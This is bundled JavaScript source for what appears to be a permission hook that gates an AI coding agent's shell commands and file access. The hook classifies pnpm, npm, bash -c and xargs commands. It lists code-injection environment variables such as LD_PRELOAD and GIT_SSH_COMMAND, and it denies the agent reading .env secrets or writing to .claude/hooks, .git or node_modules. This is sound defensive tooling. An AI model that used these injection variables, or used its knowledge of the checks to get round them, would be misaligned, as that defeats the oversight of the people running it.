isSedDocsSafe(tokens, ctx)\n }\n];\n\n//#endregion\n//#region src/lib/settings.ts\nconst SETTINGS_PATH = \".claude/hooks/bst-hook.settings.json\";\nconst BstHookSettingsSchema = object({\n allow: array(string().min(1)).default([]),\n protectedBranches: array(string().min(1)).default([])\n});\n/**\n* Check whether a file at `relativePath` inside `cwd` is tracked and\n* unmodified in git (no staged or unstaged changes vs HEAD).\n*\n* Returns false on any error — safe default is to not trust the file.\n*/\nfunction isFileClean(cwd, relativePath) {\n try {\n execFileSync(\"git\", [\n \"ls-files\",\n \"--error-unmatch\",\n relativePath\n ], {\n cwd,\n stdio: \"ignore\"\n });\n execFileSync(\"git\", [\n \"diff\",\n \"--quiet\",\n \"HEAD\",\n \"--\",\n relativePath\n ], {\n cwd,\n stdio: \"ignore\"\n });\n return true;\n } catch {\n return false;\n }\n}\n/**\n* Load repo-level settings from `.claude/hooks/bst-hook.settings.json`.\n*\n* Walks up from `cwd` to find the workspace root (or uses `cwd` directly),\n* reads the settings file, validates it, and checks that the file is\n* git-tracked and unmodified before trusting it.\n*\n* Returns `{ allow: [], protectedBranches: [] }` if the file is missing,\n* invalid, or untrusted.\n*/\nfunction loadRepoSettings(cwd) {\n const root = findWorkspaceRoot(cwd) ?? cwd;\n const settingsFile = join(root, SETTINGS_PATH);\n const empty = {\n allow: [],\n protectedBranches: []\n };\n if (!existsSync(settingsFile)) return empty;\n if (!isFileClean(root, SETTINGS_PATH)) return empty;\n try {\n const raw = readFileSync(settingsFile, \"utf-8\");\n const parsed = JSON.parse(raw);\n const result = BstHookSettingsSchema.safeParse(parsed);\n if (!result.success) return empty;\n return {\n allow: result.data.allow,\n protectedBranches: result.data.protectedBranches\n };\n } catch {\n return empty;\n }\n}\n/**\n* Check whether a command matches a repo-level allow pattern.\n*\n* Pattern format: `\"<command> [arg1] [arg2] ...\"`\n* - First token is matched exactly against the command basename\n* - Remaining tokens (if any) must match positionally as prefixes of the actual arguments\n*\n* Examples:\n* - `\"tooling\"` matches `tooling repo:sync --yes`\n* - `\"node packages/foo/dist/bin.mjs\"` matches `node packages/foo/dist/bin.mjs run`\n* - `\"node packages/foo/dist/bin.mjs\"` does NOT match `node packages/bar/dist/bin.mjs`\n*/\nfunction matchesRepoPattern(cmdName, tokens, pattern) {\n const parts = pattern.split(/\\s+/).filter(Boolean);\n if (parts.length === 0) return false;\n if (parts[0] !== cmdName) return false;\n const patternArgs = parts.slice(1);\n const actualArgs = tokens.slice(1);\n for (let i = 0; i < patternArgs.length; i++) {\n if (i >= actualArgs.length) return false;\n if (actualArgs[i] !== patternArgs[i]) return false;\n }\n return true;\n}\n\n//#endregion\n//#region src/lib/script-resolver.ts\nconst PackageJsonSchema = object({ scripts: record(string(), unknown()) });\n/**\n* Resolve a pnpm script name to its actual command(s) by reading package.json.\n*\n* Returns null if the script cannot be resolved (missing package.json,\n* missing script name, parse error).\n*/\nfunction resolveScript(scriptName, cwd) {\n const scripts = readScripts(cwd);\n if (!scripts) return null;\n const main = scripts[scriptName];\n if (typeof main !== \"string\") return null;\n const pre = scripts[`pre${scriptName}`];\n const post = scripts[`post${scriptName}`];\n return {\n pre: typeof pre === \"string\" ? pre : null,\n main,\n post: typeof post === \"string\" ? post : null\n };\n}\n/**\n* Resolve a script in a specific workspace package identified by --filter.\n*\n* Reads pnpm-workspace.yaml, scans workspace directories to match filterPkg\n* against package.json#name fields, then resolves the script in that package's directory.\n*\n* Returns null if the package or script cannot be resolved.\n*/\nfunction resolveFilteredScript(scriptName, filterPkg, cwd) {\n const pkgDir = findWorkspacePackageDir(filterPkg, cwd);\n if (!pkgDir) return null;\n const script = resolveScript(scriptName, pkgDir);\n if (!script) return null;\n return {\n ...script,\n pkgDir\n };\n}\n/**\n* Resolve a script name across all workspace packages (for `pnpm -r <script>`).\n*\n* Returns an array of resolved scripts (one per workspace package that defines the script),\n* each with a `pkgDir` field. Returns null if workspace patterns can't be read.\n* Packages that don't define the script are silently skipped.\n*/\nfunction resolveRecursiveScripts(scriptName, rootDir) {\n const pkgDirs = listWorkspacePackageDirs(rootDir);\n if (!pkgDirs) return null;\n const results = [];\n for (const pkgDir of pkgDirs) {\n const resolved = resolveScript(scriptName, pkgDir);\n if (resolved) results.push({\n ...resolved,\n pkgDir\n });\n }\n return results;\n}\n/**\n* Find the pnpm workspace root by walking up from `cwd` until a\n* `pnpm-workspace.yaml` file is found. Returns `null` if none is found\n* before reaching the filesystem root.\n*/\nfunction findWorkspaceRoot(cwd) {\n let dir = resolve(cwd);\n while (true) {\n if (existsSync(join(dir, \"pnpm-workspace.yaml\"))) return dir;\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n/**\n* List all workspace package directories.\n*/\nfunction listWorkspacePackageDirs(rootDir) {\n const patterns = readWorkspacePatterns(rootDir);\n if (!patterns) return null;\n const dirs = [];\n for (const pattern of patterns) {\n if (!pattern.endsWith(\"/*\")) continue;\n const parentDir = resolve(rootDir, pattern.slice(0, -2));\n let entries;\n try {\n entries = readdirSync(parentDir);\n } catch {\n continue;\n }\n for (const entry of entries) {\n const entryDir = join(parentDir, entry);\n try {\n if (!statSync(entryDir).isDirectory()) continue;\n } catch {\n continue;\n }\n dirs.push(entryDir);\n }\n }\n return dirs.length > 0 ? dirs : null;\n}\n/**\n* Find the directory of a workspace package by name.\n* Reads pnpm-workspace.yaml for glob patterns, then scans matching directories.\n*/\nfunction findWorkspacePackageDir(pkgName, rootDir) {\n const pkgDirs = listWorkspacePackageDirs(rootDir);\n if (!pkgDirs) return null;\n for (const entryDir of pkgDirs) {\n const name = readPackageName(entryDir);\n if (name === pkgName || name === `@${pkgName}`) return entryDir;\n if (entryDir.split(\"/\").pop() === pkgName) return entryDir;\n if (name) {\n if ((name.startsWith(\"@\") ? name.split(\"/\")[1] : name) === pkgName) return entryDir;\n }\n }\n return null;\n}\n/**\n* Read workspace glob patterns from pnpm-workspace.yaml.\n*/\nfunction readWorkspacePatterns(rootDir) {\n try {\n const lines = readFileSync(join(rootDir, \"pnpm-workspace.yaml\"), \"utf-8\").split(\"\\n\");\n const packagesIdx = lines.findIndex((l) => /^packages\\s*:/.test(l));\n if (packagesIdx === -1) return null;\n const patterns = [];\n for (let i = packagesIdx + 1; i < lines.length; i++) {\n const line = lines[i];\n const match = /^\\s+-\\s+(.+)$/.exec(line);\n if (!match) break;\n patterns.push(match[1].trim().replace(/['\"`]/g, \"\"));\n }\n return patterns.length > 0 ? patterns : null;\n } catch {\n return null;\n }\n}\nconst PackageNameSchema = object({ name: string() });\n/**\n* Read the name field from package.json in the given directory.\n*/\nfunction readPackageName(dir) {\n try {\n const raw = readFileSync(join(dir, \"package.json\"), \"utf-8\");\n const result = PackageNameSchema.safeParse(JSON.parse(raw));\n if (!result.success) return null;\n return result.data.name;\n } catch {\n return null;\n }\n}\n/**\n* Read the scripts field from package.json in the given directory.\n* Returns null on any failure (missing file, parse error, no scripts field).\n*/\nfunction readScripts(cwd) {\n try {\n const raw = readFileSync(join(cwd, \"package.json\"), \"utf-8\");\n const result = PackageJsonSchema.safeParse(JSON.parse(raw));\n if (!result.success) return null;\n return result.data.scripts;\n } catch {\n return null;\n }\n}\n/**\n* Check whether the package.json in the given directory is clean in git\n* (no staged or unstaged changes compared to HEAD).\n*\n* Returns true only when the file is tracked and unmodified. Returns false\n* on any error (not a git repo, untracked file, no HEAD, etc.) — safe default\n* is to not trust the scripts.\n*/\nfunction isPackageJsonClean(pkgDir) {\n return isFileClean(pkgDir, \"package.json\");\n}\n\n//#endregion\n//#region src/evaluate.ts\nconst MAX_EVAL_DEPTH = 5;\n/** Environment variables that enable code injection */\nconst DANGEROUS_ENV_VARS = /* @__PURE__ */ new Set([\n \"LD_PRELOAD\",\n \"LD_LIBRARY_PATH\",\n \"DYLD_INSERT_LIBRARIES\",\n \"NODE_OPTIONS\",\n \"PYTHONPATH\",\n \"PYTHONSTARTUP\",\n \"PERL5OPT\",\n \"PERL5LIB\",\n \"RUBYOPT\",\n \"RUBYLIB\",\n \"BASH_ENV\",\n \"ENV\",\n \"npm_config_prefix\",\n \"npm_config_registry\",\n \"EDITOR\",\n \"VISUAL\"\n]);\n/** Git config env vars use prefix matching */\nconst DANGEROUS_GIT_ENV_PREFIXES = [\n \"GIT_CONFIG_\",\n \"GIT_PAGER\",\n \"GIT_SSH_COMMAND\",\n \"GIT_EDITOR\",\n \"GIT_EXEC_PATH\"\n];\nfunction isDangerousEnvVar(name) {\n if (DANGEROUS_ENV_VARS.has(name)) return true;\n return DANGEROUS_GIT_ENV_PREFIXES.some((prefix) => name.startsWith(prefix));\n}\n/**\n* Extract the target directory from a `cd <dir>` segment.\n* Returns the resolved absolute path, or null if the segment isn't a simple `cd`.\n*/\nfunction extractCdDir(segment, ctx) {\n const tokenResult = tokenize(segment);\n if (!tokenResult.ok || tokenResult.tokens.length !== 2) return null;\n const tokens = tokenResult.tokens;\n if (tokens[0] !== \"cd\") return null;\n const dir = tokens[1];\n if (path.isAbsolute(dir)) return dir;\n return path.resolve(ctx.cwd, dir);\n}\n/**\n* Evaluate a full command string. Splits on operators and evaluates each segment.\n*\n* This is the single reentrant entry point. Called at depth 0 for top-level\n* commands and at depth 1+ for derived commands (resolved scripts, exec tails, etc.).\n*/\nfunction evaluateCommand(command, ctx) {\n if (ctx.depth >= MAX_EVAL_DEPTH) return {\n action: \"passthrough\",\n rule: null,\n reason: \"max evaluation depth exceeded\"\n };\n const trimmed = command.trim();\n if (!trimmed) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n if (trimmed.startsWith(\"(\") && trimmed.endsWith(\")\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"subshell\"\n };\n const segments = splitCommand(trimmed);\n if (segments.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n let firstPassthrough = null;\n let lastAllow = null;\n const currentCtx = { ...ctx };\n for (const segment of segments) {\n if (segment.operator === \"&&\") {\n const cdDir = extractCdDir(segment.command, currentCtx);\n if (cdDir) currentCtx.cwd = cdDir;\n }\n const result = evaluateSegment(segment.command, currentCtx);\n if (result.action === \"deny\") return result;\n if (result.action === \"passthrough\") {\n if (!firstPassthrough) firstPassthrough = result;\n }\n if (result.action === \"allow\") lastAllow = result;\n }\n if (firstPassthrough) return firstPassthrough;\n if (segments.length === 1 && lastAllow) return lastAllow;\n return {\n action: \"allow\",\n rule: \"all-segments\",\n reason: null\n };\n}\n/**\n* Helper to evaluate a resolved script with its pre and post hooks.\n*\n* When the source package.json is clean in git, sets `insideResolvedScript`\n* on the context so downstream evaluation trusts file redirects and\n* unmatched commands (user-authored scripts). Deny rules still apply.\n*/\nfunction evaluateResolvedScript(resolved, ctx) {\n const pkgDir = resolved.pkgDir ?? ctx.cwd;\n const innerCtx = ctx.insideResolvedScript ?? isPackageJsonClean(pkgDir) ? {\n ...ctx,\n insideResolvedScript: true\n } : ctx;\n if (resolved.pre) {\n const preResult = evaluateCommand(resolved.pre, innerCtx);\n if (preResult.action !== \"allow\") return preResult;\n }\n const mainResult = evaluateCommand(resolved.main, innerCtx);\n if (mainResult.action !== \"allow\") return mainResult;\n if (resolved.post) {\n const postResult = evaluateCommand(resolved.post, innerCtx);\n if (postResult.action !== \"allow\") return postResult;\n }\n return \"allow\";\n}\n/**\n* Evaluate a single command segment (no operators).\n* May recurse into evaluateCommand() for indirection constructs.\n*/\nfunction evaluateSegment(rawSegment, ctx) {\n const trimmed = rawSegment.trim();\n if (trimmed.startsWith(\"(\") && trimmed.endsWith(\")\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"subshell\"\n };\n const tokenResult = tokenize(rawSegment);\n if (!tokenResult.ok) return {\n action: \"passthrough\",\n rule: null,\n reason: tokenResult.error\n };\n let tokens = tokenResult.tokens;\n if (tokens.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n let envSkipped = 0;\n while (envSkipped < tokens.length && /^\\w+=/.test(tokens[envSkipped])) {\n const varName = tokens[envSkipped].split(\"=\")[0];\n if (isDangerousEnvVar(varName)) return {\n action: \"passthrough\",\n rule: null,\n reason: `dangerous env var: ${varName}`\n };\n envSkipped++;\n }\n if (envSkipped >= tokens.length) return {\n action: \"allow\",\n rule: \"env-only\",\n reason: null\n };\n tokens = tokens.slice(envSkipped);\n if (writesIntoNodeModules(tokens, ctx)) return {\n action: \"deny\",\n rule: \"node-modules-write\",\n reason: NODE_MODULES_WRITE_REASON\n };\n const injection = checkInjection(tokens, rawSegment, ctx.insideResolvedScript);\n if (!injection.safe) return {\n action: \"passthrough\",\n rule: null,\n reason: injection.reason\n };\n if (!ctx.insideResolvedScript) for (let i = 0; i < tokens.length; i++) {\n const token = tokens[i];\n if (token === \"2>&1\" || token === \"2>/dev/null\" || token === \">/dev/null\" || token === \"1>/dev/null\") continue;\n if (token === \">\" || token === \">>\") {\n if (tokens[i + 1] === \"/dev/null\") continue;\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"output redirect to file\"\n };\n }\n if (token === \"<\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"input redirect\"\n };\n }\n const SAFE_REDIRECT_TOKENS = /* @__PURE__ */ new Set([\n \"2>&1\",\n \"2>/dev/null\",\n \">/dev/null\",\n \"1>/dev/null\"\n ]);\n tokens = tokens.filter((t, i) => {\n if (SAFE_REDIRECT_TOKENS.has(t)) return false;\n if ((t === \">\" || t === \">>\") && tokens[i + 1] === \"/dev/null\") return false;\n if (t === \"/dev/null\" && i > 0 && (tokens[i - 1] === \">\" || tokens[i - 1] === \">>\")) return false;\n return true;\n });\n const cmdName = path.basename(tokens[0]);\n if (cmdName === \"command\" && tokens.length > 1) return evaluateCommand(joinTokens(tokens.slice(1)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n if (cmdName === \"env\") {\n let envIdx = 1;\n while (envIdx < tokens.length && /^\\w+=/.test(tokens[envIdx])) {\n const varName = tokens[envIdx].split(\"=\")[0];\n if (isDangerousEnvVar(varName)) return {\n action: \"passthrough\",\n rule: null,\n reason: `dangerous env var: ${varName}`\n };\n envIdx++;\n }\n if (envIdx >= tokens.length) return {\n action: \"allow\",\n rule: \"env-only\",\n reason: null\n };\n return evaluateCommand(joinTokens(tokens.slice(envIdx)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n if (cmdName === \"pnpm\") return evaluatePnpm(tokens, ctx);\n if (cmdName === \"npm\") return evaluateNpm(tokens);\n if (cmdName === \"bash\" || cmdName === \"sh\" || cmdName === \"zsh\") return evaluateShellC(tokens, ctx);\n if (cmdName === \"xargs\") return evaluateXargs(tokens, ctx);\n if (cmdName === \"node\" && (tokens.includes(\"-e\") || tokens.includes(\"-p\") || tokens.includes(\"--eval\") || tokens.includes(\"--print\"))) return {\n action: \"passthrough\",\n rule: null,\n reason: \"node eval\"\n };\n for (const rule of denyRules) if (rule.match.test(cmdName)) {\n if (!rule.when || rule.when(tokens, ctx)) return {\n action: \"deny\",\n rule: rule.name,\n reason: rule.reason ?? null\n };\n }\n for (const rule of allowRules) if (rule.match.test(cmdName)) {\n if (!rule.when || rule.when(tokens, ctx)) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n }\n if (ctx.repoAllowPatterns) {\n for (const pattern of ctx.repoAllowPatterns) if (matchesRepoPattern(cmdName, tokens, pattern)) return {\n action: \"allow\",\n rule: `repo:${cmdName}`,\n reason: null\n };\n }\n if (ctx.insideResolvedScript) return {\n action: \"allow\",\n rule: \"resolved-script\",\n reason: null\n };\n return {\n action: \"passthrough\",\n rule: null,\n reason: `no rule matched: ${cmdName}`\n };\n}\n/**\n* Scan pnpm subTokens starting at `from`, skipping and accumulating flags\n* (--filter / -F, -r, -w, -C, and generic --flags). Returns the first non-flag\n* token as `name`, or `undefined` if none found. Returns `\"filter\"` as a\n* sentinel when --filter is encountered (caller must handle).\n*/\nfunction scanPnpmFlags(subTokens, from, state) {\n for (let i = from; i < subTokens.length; i++) {\n const t = subTokens[i];\n if (t === \"--filter\" || t.startsWith(\"--filter=\") || t === \"-F\" || t.startsWith(\"-F=\")) return {\n name: void 0,\n filterIdx: i\n };\n if (t === \"-r\" || t === \"--recursive\") {\n state.isRecursive = true;\n continue;\n }\n if (t === \"-w\" || t === \"--workspace-root\") {\n state.isWorkspaceRoot = true;\n continue;\n }\n if (t === \"-C\" || t === \"--dir\") {\n state.dirOverride = subTokens[++i];\n continue;\n }\n if (t.startsWith(\"-C=\") || t.startsWith(\"--dir=\")) {\n state.dirOverride = t.split(\"=\", 2)[1];\n continue;\n }\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n return { name: t };\n }\n return { name: void 0 };\n}\n/**\n* Evaluate a pnpm command. Classifies the subcommand as built-in, exec, or script.\n* Script commands are resolved via package.json and recursively evaluated.\n*/\nfunction evaluatePnpm(tokens, ctx) {\n const subTokens = tokens.slice(1);\n const state = {\n isRecursive: false,\n isWorkspaceRoot: false,\n dirOverride: void 0\n };\n const scan = scanPnpmFlags(subTokens, 0, state);\n if (scan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, scan.filterIdx, ctx);\n const subcommand = scan.name;\n const subcommandIdx = subcommand ? subTokens.indexOf(subcommand) : -1;\n if (!subcommand) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n if (subcommand === \"dlx\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm dlx\"\n };\n if (subcommand === \"add\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm add\"\n };\n if (subcommand === \"exec\") {\n const execArgs = subTokens.slice(subcommandIdx + 1);\n if (execArgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"bare pnpm exec\"\n };\n return evaluateCommand(joinTokens(execArgs), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n let scriptName;\n let { isRecursive, isWorkspaceRoot, dirOverride } = state;\n if (subcommand === \"run\") {\n const runScan = scanPnpmFlags(subTokens, subcommandIdx + 1, state);\n ({isRecursive, isWorkspaceRoot, dirOverride} = state);\n if (runScan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, runScan.filterIdx, ctx);\n if (!runScan.name) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm run without script name\"\n };\n scriptName = runScan.name;\n } else if (!PNPM_BUILTINS.has(subcommand)) scriptName = subcommand;\n else {\n for (const rule of allowRules) if (rule.match.test(\"pnpm\")) {\n if (!rule.when || rule.when(tokens, ctx)) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n }\n return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n }\n if (isRecursive) return evaluatePnpmRecursive(scriptName, ctx);\n if (isWorkspaceRoot) {\n const root = findWorkspaceRoot(ctx.cwd);\n if (!root) return {\n action: \"passthrough\",\n rule: null,\n reason: \"workspace root not found\"\n };\n return evaluatePnpmScript(scriptName, {\n ...ctx,\n cwd: root\n });\n }\n if (dirOverride) {\n const resolved = path.resolve(ctx.cwd, dirOverride);\n return evaluatePnpmScript(scriptName, {\n ...ctx,\n cwd: resolved\n });\n }\n return evaluatePnpmScript(scriptName, ctx);\n}\n/**\n* Resolve a pnpm script name via package.json and recursively evaluate\n* the resolved command(s) including pre/post scripts.\n*/\nfunction evaluatePnpmScript(scriptName, ctx) {\n const resolved = resolveScript(scriptName, ctx.cwd);\n if (!resolved) return {\n action: \"passthrough\",\n rule: null,\n reason: \"script resolution failed\"\n };\n const res = evaluateResolvedScript(resolved, {\n ...ctx,\n depth: ctx.depth + 1\n });\n if (res !== \"allow\") return res;\n return {\n action: \"allow\",\n rule: `pnpm-script:${scriptName}`,\n reason: null\n };\n}\n/**\n* Evaluate `pnpm -r <script>` by resolving the script in each workspace package.\n*\n* Unlike `evaluatePnpmScript` (which resolves from the root package.json and would\n* cycle back to `pnpm -r <script>`), this resolves against each workspace package's\n* own package.json, breaking the recursion.\n*/\nfunction evaluatePnpmRecursive(scriptName, ctx) {\n const resolved = resolveRecursiveScripts(scriptName, ctx.cwd);\n if (!resolved || resolved.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm recursive\"\n };\n for (const pkg of resolved) {\n const res = evaluateResolvedScript(pkg, {\n ...ctx,\n depth: ctx.depth + 1,\n cwd: pkg.pkgDir ?? ctx.cwd\n });\n if (res !== \"allow\") return res;\n }\n return {\n action: \"allow\",\n rule: `pnpm-recursive:${scriptName}`,\n reason: null\n };\n}\n/**\n* Evaluate an npm command. Read-only ops (view/info/show) are allowed.\n* Everything else is denied with a redirect message to the pnpm equivalent.\n*/\nfunction evaluateNpm(tokens) {\n for (const rule of allowRules) if (rule.match.test(\"npm\")) {\n if (!rule.when || rule.when(tokens, {\n cwd: \"\",\n depth: 0\n })) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n }\n return {\n action: \"deny\",\n rule: \"npm-redirect\",\n reason: getNpmRedirectReason(tokens)\n };\n}\n/**\n* Evaluate `pnpm --filter <pkg> [--filter <pkg> ...] <subcommand>`.\n*\n* Collects every `--filter` / `-F` flag (long, equals, and shorthand forms),\n* resolves each against pnpm-workspace.yaml, then classifies the subcommand as\n* built-in or script. Script commands are resolved and evaluated in each\n* filtered package — all must allow.\n*\n* Falls back to passthrough if workspace resolution fails.\n*/\nfunction evaluatePnpmFilter(_tokens, subTokens, filterIdx, ctx) {\n const filterPkgs = [];\n let cursor = filterIdx;\n while (cursor < subTokens.length) {\n const t = subTokens[cursor];\n if (t === \"--filter\" || t === \"-F\") {\n const pkg = subTokens[cursor + 1];\n if (!pkg || pkg.startsWith(\"-\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n filterPkgs.push(pkg);\n cursor += 2;\n } else if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) {\n const pkg = t.startsWith(\"-F=\") ? t.slice(3) : t.slice(9);\n if (!pkg) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n filterPkgs.push(pkg);\n cursor += 1;\n } else break;\n }\n if (filterPkgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n let filterSubcommand;\n let subcmdIdx = -1;\n for (let i = cursor; i < subTokens.length; i++) {\n const t = subTokens[i];\n if (t === \"--filter\" || t === \"-F\") {\n i += 1;\n continue;\n }\n if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) continue;\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n filterSubcommand = t;\n subcmdIdx = i;\n break;\n }\n if (!filterSubcommand) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without subcommand\"\n };\n if (filterSubcommand === \"install\" || filterSubcommand === \"i\") {\n if (!subTokens.slice(subcmdIdx + 1).every((t) => t.startsWith(\"-\"))) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter install with package arg\"\n };\n return {\n action: \"allow\",\n rule: \"pnpm\",\n reason: null\n };\n }\n if (filterSubcommand === \"dlx\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm dlx\"\n };\n if (filterSubcommand === \"add\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm add\"\n };\n if ((/* @__PURE__ */ new Set([\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\",\n \"licenses\",\n \"audit\"\n ])).has(filterSubcommand)) return {\n action: \"allow\",\n rule: \"pnpm\",\n reason: null\n };\n if (filterSubcommand === \"exec\") {\n const execArgs = subTokens.slice(subcmdIdx + 1);\n if (execArgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"bare pnpm exec\"\n };\n return evaluateCommand(joinTokens(execArgs), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n const scriptName = filterSubcommand === \"run\" ? subTokens[subcmdIdx + 1] : filterSubcommand;\n if (!scriptName || scriptName.startsWith(\"-\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter run without script name\"\n };\n if (PNPM_BUILTINS.has(scriptName) && scriptName !== \"run\") return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n for (const pkg of filterPkgs) {\n const resolved = resolveFilteredScript(scriptName, pkg, ctx.cwd);\n if (!resolved) return {\n action: \"passthrough\",\n rule: null,\n reason: \"filtered script resolution failed\"\n };\n const res = evaluateResolvedScript(resolved, {\n ...ctx,\n depth: ctx.depth + 1,\n cwd: resolved.pkgDir ?? ctx.cwd\n });\n if (res !== \"allow\") return res;\n }\n return {\n action: \"allow\",\n rule: `pnpm-filter:${filterPkgs.join(\",\")}:${scriptName}`,\n reason: null\n };\n}\n/** Flags that modify shell behavior beyond simple command execution */\nconst SHELL_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-i\",\n \"--interactive\",\n \"-l\",\n \"--login\",\n \"--init-file\",\n \"--rcfile\",\n \"--norc\",\n \"--noprofile\",\n \"-s\",\n \"--stdin\"\n]);\n/**\n* Evaluate `bash -c` / `sh -c` / `zsh -c` commands.\n*\n* Only unwraps when the tokens are exactly: `<shell> -c <command-string>`.\n* Any additional flags, extra positional args, or missing -c → passthrough.\n*/\nfunction evaluateShellC(tokens, ctx) {\n const cIdx = tokens.indexOf(\"-c\");\n if (cIdx === -1) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell without -c\"\n };\n for (let i = 1; i < tokens.length; i++) {\n if (i === cIdx) continue;\n if (i === cIdx + 1) continue;\n const t = tokens[i];\n if (t.startsWith(\"-\") || SHELL_UNSAFE_FLAGS.has(t)) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with extra flags\"\n };\n }\n const cmdArg = tokens[cIdx + 1];\n if (!cmdArg) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c without command\"\n };\n if (tokens.length > cIdx + 2) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with positional args\"\n };\n if (cIdx !== 1) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with extra flags\"\n };\n return evaluateCommand(cmdArg, {\n ...ctx,\n depth: ctx.depth + 1\n });\n}\n/** xargs flags that consume the next token as an argument */\nconst XARGS_ARG_FLAGS = /* @__PURE__ */ new Set([\n \"-I\",\n \"-d\",\n \"-n\",\n \"-P\",\n \"-s\",\n \"-L\",\n \"-E\",\n \"-a\",\n \"--max-args\",\n \"--max-procs\",\n \"--delimiter\",\n \"--replace\",\n \"--max-lines\",\n \"--max-chars\",\n \"--arg-file\",\n \"--process-slot-var\"\n]);\n/** xargs flags that are boolean (no argument) */\nconst XARGS_BOOL_FLAGS = /* @__PURE__ */ new Set([\n \"-0\",\n \"--null\",\n \"-t\",\n \"--verbose\",\n \"-r\",\n \"--no-run-if-empty\",\n \"-p\",\n \"--interactive\",\n \"-x\",\n \"--exit\",\n \"--show-limits\"\n]);\n/**\n* Evaluate `xargs <cmd>` commands.\n*\n* Skips xargs flags to find the inner command, then recursively evaluates it.\n* Passthrough if no command follows the flags or if unrecognised flags are found.\n*/\nfunction evaluateXargs(tokens, ctx) {\n let i = 1;\n while (i < tokens.length) {\n const t = tokens[i];\n if (!t.startsWith(\"-\")) break;\n if (XARGS_ARG_FLAGS.has(t)) {\n i += 2;\n continue;\n }\n const eqIdx = t.indexOf(\"=\");\n if (eqIdx !== -1) {\n const flagName = t.slice(0, eqIdx);\n if (XARGS_ARG_FLAGS.has(flagName)) {\n i++;\n continue;\n }\n }\n if (t.length > 2 && XARGS_ARG_FLAGS.has(t.slice(0, 2))) {\n i++;\n continue;\n }\n if (XARGS_BOOL_FLAGS.has(t)) {\n i++;\n continue;\n }\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"xargs with unrecognised flags\"\n };\n }\n if (i >= tokens.length) return {\n action: \"passthrough\",\n rule: null,\n reason: \"xargs without command\"\n };\n return evaluateCommand(joinTokens(tokens.slice(i)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n}\n\n//#endregion\n//#region src/file-rules.ts\nconst READ_TOOLS = /* @__PURE__ */ new Set([\n \"Read\",\n \"Glob\",\n \"Grep\"\n]);\nconst WRITE_TOOLS = /* @__PURE__ */ new Set([\"Write\", \"Edit\"]);\nconst fileDenyRules = [\n {\n name: \"env-file-read\",\n tools: READ_TOOLS,\n action: \"deny\",\n when: (filePath) => isEnvFile(filePath),\n reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n },\n {\n name: \"env-file-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath) => isEnvFile(filePath),\n reason: \"Don't write to .env files. These contain secrets.\"\n },\n {\n name: \"hooks-folder-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n const resolved = resolveIn(ctx.cwd, filePath);\n return isWithin(path.join(ctx.cwd, \".claude\", \"hooks\"), resolved);\n },\n reason: \"Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\"\n },\n {\n name: \"git-dir-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => targetsGitDir(filePath, ctx.cwd),\n reason: \"Don't write into .git/ directly. Its internals (config, hooks, refs) are not plain project files — a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\"\n },\n {\n name: \"node-modules-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => targetsNodeModules(filePath, ctx.cwd),\n reason: \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store — editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> 